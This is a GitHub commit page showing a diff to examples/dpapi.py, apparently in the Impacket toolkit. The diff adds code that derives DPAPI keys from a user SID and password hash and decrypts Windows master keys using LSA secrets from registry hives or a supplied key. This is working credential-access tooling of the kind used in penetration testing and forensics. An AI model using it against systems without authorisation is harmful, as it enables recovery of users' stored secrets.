Skip to content

Commit

Permalink
improve support for key+sid in dpapi examples
Browse files Browse the repository at this point in the history
  • Loading branch information
dirkjanm committed Dec 10, 2019
1 parent 7cdc027 commit 1f2d203
Showing 1 changed file with 54 additions and 1 deletion.
55 changes: 54 additions & 1 deletion examples/dpapi.py
Original file line number Diff line number Diff line change
Expand Up @@ -88,6 +88,21 @@ def deriveKeysFromUser(self, sid, password):

return key1, key2, key3

def deriveKeysFromUserkey(self, sid, pwdhash):
if len(pwdhash) == 20:
# SHA1
key1 = HMAC.new(pwdhash, (sid + '\0').encode('utf-16le'), SHA1).digest()
key2 = None
else:
# Assume MD4
key1 = HMAC.new(pwdhash, (sid + '\0').encode('utf-16le'), SHA1).digest()
# For Protected users
tmpKey = pbkdf2_hmac('sha256', pwdhash, sid.encode('utf-16le'), 10000)
tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16]
key2 = HMAC.new(tmpKey2, (sid + '\0').encode('utf-16le'), SHA1).digest()[:20]

return key1, key2

def run(self):
if self.options.action.upper() == 'MASTERKEY':
fp = open(options.file, 'rb')
Expand All @@ -112,7 +127,7 @@ def run(self):
dk = DomainKey(data[:mkf['DomainKeyLen']])
data = data[len(dk):]

if self.options.system and self.options.security:
if self.options.system and self.options.security and self.options.sid is None:
# We have hives, let's try to decrypt with them
self.getLSA()
decryptedKey = mk.decrypt(self.dpapiSystem['UserKey'])
Expand All @@ -135,6 +150,44 @@ def run(self):
print('Decrypted Backup key with MachineKey')
print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
return
elif self.options.system and self.options.security:
# Use SID + hash
# We have hives, let's try to decrypt with them
self.getLSA()
key1, key2 = self.deriveKeysFromUserkey(self.options.sid, self.dpapiSystem['UserKey'])
decryptedKey = mk.decrypt(key1)
if decryptedKey:
print('Decrypted key with UserKey + SID')
print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
return
decryptedKey = bkmk.decrypt(key1)
if decryptedKey:
print('Decrypted Backup key with UserKey + SID')
print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
return
decryptedKey = mk.decrypt(key2)
if decryptedKey:
print('Decrypted key with UserKey + SID')
print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
return
decryptedKey = bkmk.decrypt(key2)
if decryptedKey:
print('Decrypted Backup key with UserKey + SID')
print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
return
elif self.options.key and self.options.sid:
key = unhexlify(self.options.key[2:])
key1, key2 = self.deriveKeysFromUserkey(self.options.sid, key)
decryptedKey = mk.decrypt(key1)
if decryptedKey:
print('Decrypted key with key provided + SID')
print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
return
decryptedKey = mk.decrypt(key2)
if decryptedKey:
print('Decrypted key with key provided + SID')
print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
return
elif self.options.key:
key = unhexlify(self.options.key[2:])
decryptedKey = mk.decrypt(key)
Expand Down

0 comments on commit 1f2d203

Please sign in to comment.